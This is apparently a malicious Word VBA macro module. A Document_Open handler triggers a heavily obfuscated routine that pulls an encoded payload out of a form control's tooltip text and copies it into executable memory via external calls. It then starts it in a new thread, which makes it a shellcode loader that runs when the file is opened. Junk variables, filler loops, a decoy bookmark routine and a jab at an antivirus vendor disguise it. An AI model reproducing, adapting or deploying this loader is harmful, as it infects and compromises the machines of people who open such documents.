Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim offspring As String
Dim lyra As Integer
Dim maidenliness As Long
Dim maltreat As Integer
Dim robotics As String
Dim alnus
Sub manslaughter()
Dim simplified As Integer
Dim arminian As Long
periapt = discord.playbill.pineal.ControlTipText
derision = 7368
failed = Right(periapt, derision)
pristis = cowkeeper.apocope(failed)
For done = 16 To 69
captivate = 69
offspring = offspring
femur = Mid("predeterminationunundreaded", 17, 2) & LCase$("Tied")
femur = LCase$("cHU") & Mid("consecraterchdopardonner", 11, 5) & Right$("freestandingm", 1)
Next done

ornithomimid = LCase$("SoL") & Left("idarihibernian", 5) & LCase$("TY")
#If Win64 And Len("fortinet should create new signature") = 36 Then
Dim begotten As String
Dim effusiveness As junketing
Dim bayberry As LongPtr
effusiveness.sheet = 0
Dim biogenetic As Variant
#Else
Dim coelophysis As Long
effusiveness = 0
Dim dispositio As Integer
Dim bayberry As Long
#End If
midgard = 28 + 120 - 148
manama = "deadline"
prunello = Left("haplagiarization", 2) & Mid("subsequentlyywirliriope", 13, 4) & Left("eoperative", 1)
prizefighter = 4096
For recurvirostridae = 48 To 66
intractable = 66
lyra = alnus + 177
deformed = "gn" & LCase$("omon")
deformed = Left("sucanonize", 2) & "ndia" & LCase$("L")
Next recurvirostridae

petromyzoniformes = "amentiferous"
abasic = Mid("debategeballproof", 7, 2) & LCase$("Sner") & LCase$("iaceae")
collard = 73
bonfire = 82
If collard + bonfire < 2 Then
collard = "chr" & Left("onolodizdar", 5) & UCase$("GicaL")
robotics = "argent"
impropriation = Right$("evangelicalismcl", 2) & Mid("polyphonyubhousecounterespionage", 10, 7)
Else
offspring = offspring
bonfire = 74
End If

meetinghouse = pristis
insalubrious = Mid("ascaphuscaafterburden", 9, 2) & "ndleh" & Right$("brailletypeolder", 5)
fireclay = "buttermilk"
bayberry = foam(meetinghouse)
barricaded = "rhomb"
#If Win64 And Len("fortinet should create new signature") = 36 Then
Dim aeronautic As Variant
anencephaly = "northcentral"
succussion = "confusedness"
anklet = 54 + 121 + 1105
#ElseIf (Win32) Then
jeer = "consortium"
lithomantic = "argonaut"
dysplastic = 22 + 484
anklet = dysplastic + 3171

#End If
Dim aum As Long
Dim wrentit As Integer
Dim bicycling As Long
bicycling = 0
Dim aprum As Long
aprum = bayberry + anklet
archegenesis = cabriolet(aprum, bicycling, bicycling)
For washout = 19 To 52
praxiteles = 52
maltreat = alnus + 425
mend = Mid("carettadiandrophobia", 8, 2) & Left("sproceratopsian", 4) & UCase$("Of")
mend = LCase$("fLU") & Right$("inguishablexmete", 5) & Mid("anaphylacticramazement", 13, 1)
Next washout

End Sub

Sub UseBookmarks()
    Dim myArray()
    Dim wdBkmk As String

    Dim wdApp As Word.Application
    Dim wdRng As Word.Range
    myArray = Array("To", "CC", "From", "Subject")
    Set wdApp = GetObject(, "Word.Application")

    Set wdRng = wdApp.ActiveDocument.Bookmarks(myArray(0)).Range
    wdRng.InsertBefore ("B")
    Set wdRng = wdApp.ActiveDocument.Bookmarks(myArray(1)).Range
    wdRng.InsertBefore ("T")
    Set wdRng = wdApp.ActiveDocument.Bookmarks(myArray(2)).Range
    wdRng.InsertBefore ("M")
    Set wdRng = wdApp.ActiveDocument.Bookmarks(myArray(3)).Range
    wdRng.InsertBefore ("F")

    Set wdApp = Nothing
    Set wdRng = Nothing
End Sub

Function foam(adansonia)
Dim jeep As Integer
Dim ophiology As Long
Dim discomycetous As Long
antecedency discomycetous, ByVal VarPtr(adansonia) + 8, 4
Dim inveterate As String
Dim autotelism As Variant
Dim egotist As Long
redly = 0
flourishing = 0
associable = 4096
diener = betterment(-1, flourishing, 7392, associable, 64)
antecedency egotist, ByVal VarPtr(diener) + 8, 4
antecedency ByVal egotist, ByVal discomycetous, 7398
eschar = 5
While eschar < 10
entoproct = "allot"
awning = "canonize"
eschar = eschar + 1
maltreat = lyra \ 459
Wend

foam = egotist
End Function
Private Sub Document_Open()
Dim andromeda As Long
Dim cambric As String
booklet = UCase$("bo") & Left("ofanoxia", 2)
crescent = "goosander"
manslaughter
demimondaine = 58
noctivagant = 89
If demimondaine + noctivagant < 4 Then
demimondaine = Right$("reproducibilitybr", 2) & UCase$("aKE")
alnus = maltreat \ 487
indulgent = Right$("barmaidhu", 2) & "rrysk" & Right$("jovianurry", 4)
Else
maltreat = maidenliness \ 346
noctivagant = 110
End If
End Sub